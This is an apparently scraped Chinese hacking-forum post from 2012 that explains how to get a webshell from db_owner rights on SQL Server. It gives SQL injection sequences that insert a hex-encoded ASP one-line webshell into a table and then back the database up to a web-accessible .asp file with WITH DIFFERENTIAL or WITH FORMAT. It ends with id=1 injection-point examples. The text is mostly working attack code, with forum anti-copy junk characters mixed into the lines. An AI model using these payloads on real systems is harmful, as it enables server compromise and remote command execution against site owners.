找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:! l% I" f) z9 {5 L; ^+ _
  X% j3 p' @  s7 Q  P
减少备份文件大小,得到可执行的webshell成功率提高不少
8 r2 B2 g5 Z6 [/ t) Y一利用差异备份5 g# Q$ C/ |" _* j% o* F
加一个参数WITH DIFFERENTIAL
. l+ ?" q$ D1 ^- \" j7 E
6 c" Z1 o' c% f1
' h' M; f2 u/ _2
6 n. [; b7 L* R" ^# Y3
2 @- T5 `/ |9 y* t3 f2 A( z4
% ^1 |7 A8 t3 N" G declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: @' F4 b+ u9 X: M, P( c( R9 ccreate table [dbo].[xiaolu] ([cmd] [image]);+ i* V. a% p+ O# g: E# Q
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ O6 {$ ~4 G& F& Tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
% R( Y. g( `/ J+ M- k" D: S6 i, `/ h( s2 a9 G% V5 U7 a  p
二利用完全FORMAT: b- `7 T: \7 x$ O5 @& C( O
加一个参数WITH FROMAT
  m4 f- i6 T& w, b/ m! e8 V8 q. I% r+ {有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
% l7 A5 Y$ B) Q" V8 a& O- E, K/ |
( y# n8 G6 w6 O; r; R+ ?# M11 I6 w. ^8 v6 m: R4 a
2
4 K) e# }, @: o: ?8 ]' `- i3
3 r- i  O; A8 u/ j46 K$ I! Z% D+ |; w5 G
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" i' a; [7 Y, O3 zcreate table [dbo].[xiaolu] ([cmd] [image]);' r3 \9 f, f  a# F6 s/ {- v: ^
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)8 C  U+ H( R$ r4 X
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT , F: D/ g) f2 h1 k6 `: [9 C- P
  d3 \* N3 ^' A$ ?) {5 R; E
总的来说就是那么简单几句,下面以备份数据库model为例子
' w0 V; @0 }' S6 Q! U1" P3 @6 H* P; [# `, p8 c
' q3 x6 c) f  j- A0 d( I+ P
1
' `& L, p/ w4 U/ Q7 y id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') , s0 k# ?8 \' n" N" l* ]2 h3 {/ J

+ ^5 w( @3 C7 k1 S1 d2
$ }' W9 s: D4 a, \
5 a0 L5 ^' R2 b0 ?' c1
$ z5 `, m7 A+ W7 V id=1;backup database model to disk='你的路径‘ with differential,format;-- % W) }3 L1 W7 r9 A% v; k% s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表